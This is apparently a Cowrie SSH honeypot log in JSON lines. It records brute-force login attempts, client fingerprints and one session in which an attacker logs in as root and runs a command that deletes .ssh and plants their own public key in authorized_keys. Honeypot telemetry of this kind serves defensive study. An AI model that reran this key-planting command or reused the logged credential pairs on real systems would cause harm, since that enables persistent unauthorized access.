{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:00.861484Z","src_ip":"195.178.110.218","session":"d081f2c7a3cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:01.944115Z","src_ip":"195.178.110.218","session":"d081f2c7a3cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":55488,"dst_ip":"159.203.135.109","dst_port":22,"session":"167397381cb9","protocol":"ssh","message":"New connection: 14.225.2.125:55488 (159.203.135.109:22) [session: 167397381cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:43.198119Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:43.477042Z","src_ip":"14.225.2.125","session":"167397381cb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":55490,"dst_ip":"159.203.135.109","dst_port":22,"session":"28cb2387f9e0","protocol":"ssh","message":"New connection: 14.225.2.125:55490 (159.203.135.109:22) [session: 28cb2387f9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:43.756087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:43.760428Z","src_ip":"14.225.2.125","session":"28cb2387f9e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:44.039450Z","src_ip":"14.225.2.125","session":"28cb2387f9e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhoumengmeng","password":"zhoumengmeng","message":"login attempt [zhoumengmeng/zhoumengmeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:44.877090Z","src_ip":"14.225.2.125","session":"28cb2387f9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:46.161061Z","src_ip":"14.225.2.125","session":"28cb2387f9e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":36436,"dst_ip":"10.17.0.5","dst_port":22,"session":"005b712ff59b","protocol":"ssh","message":"New connection: 119.209.12.20:36436 (10.17.0.5:22) [session: 005b712ff59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:53.268578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:53.273084Z","src_ip":"119.209.12.20","session":"005b712ff59b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:53.476388Z","src_ip":"119.209.12.20","session":"005b712ff59b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seafile","password":"1234","message":"login attempt [seafile/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:54.318851Z","src_ip":"119.209.12.20","session":"005b712ff59b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:55.525263Z","src_ip":"119.209.12.20","session":"005b712ff59b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":34208,"dst_ip":"159.203.135.109","dst_port":22,"session":"a346067812a7","protocol":"ssh","message":"New connection: 187.210.77.100:34208 (159.203.135.109:22) [session: a346067812a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:59.007310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:59.012697Z","src_ip":"187.210.77.100","session":"a346067812a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:59.198606Z","src_ip":"187.210.77.100","session":"a346067812a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vlc","password":"vlc1234","message":"login attempt [vlc/vlc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:59.970527Z","src_ip":"187.210.77.100","session":"a346067812a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:01:01.159741Z","src_ip":"187.210.77.100","session":"a346067812a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":51416,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f5d293ddad8","protocol":"ssh","message":"New connection: 2.57.122.96:51416 (159.203.135.109:22) [session: 8f5d293ddad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:01:17.239613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:01:17.243983Z","src_ip":"2.57.122.96","session":"8f5d293ddad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:01:17.371011Z","src_ip":"2.57.122.96","session":"8f5d293ddad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:01:17.707160Z","src_ip":"2.57.122.96","session":"8f5d293ddad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:01:18.815559Z","src_ip":"2.57.122.96","session":"8f5d293ddad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":42006,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b021902f64","protocol":"ssh","message":"New connection: 187.210.77.100:42006 (159.203.135.109:22) [session: d3b021902f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:07.660702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:07.665457Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:07.849667Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1Qwertyuiop","message":"login attempt [root/1Qwertyuiop] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:08.618680Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.060219Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.062435Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.064990Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.251436Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.655758Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.659111Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.846165Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:09.849601Z","src_ip":"187.210.77.100","session":"d3b021902f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":45376,"dst_ip":"159.203.135.109","dst_port":22,"session":"7be444abc983","protocol":"ssh","message":"New connection: 187.210.77.100:45376 (159.203.135.109:22) [session: 7be444abc983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:10.032235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:10.036598Z","src_ip":"187.210.77.100","session":"7be444abc983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:10.229460Z","src_ip":"187.210.77.100","session":"7be444abc983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:11.022887Z","src_ip":"187.210.77.100","session":"7be444abc983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:12.213188Z","src_ip":"187.210.77.100","session":"7be444abc983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":48378,"dst_ip":"159.203.135.109","dst_port":22,"session":"c03ef7c457f7","protocol":"ssh","message":"New connection: 187.210.77.100:48378 (159.203.135.109:22) [session: c03ef7c457f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:12.397258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:12.401357Z","src_ip":"187.210.77.100","session":"c03ef7c457f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:12.590859Z","src_ip":"187.210.77.100","session":"c03ef7c457f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:02:13.369927Z","src_ip":"187.210.77.100","session":"c03ef7c457f7","protocol":"ssh"}
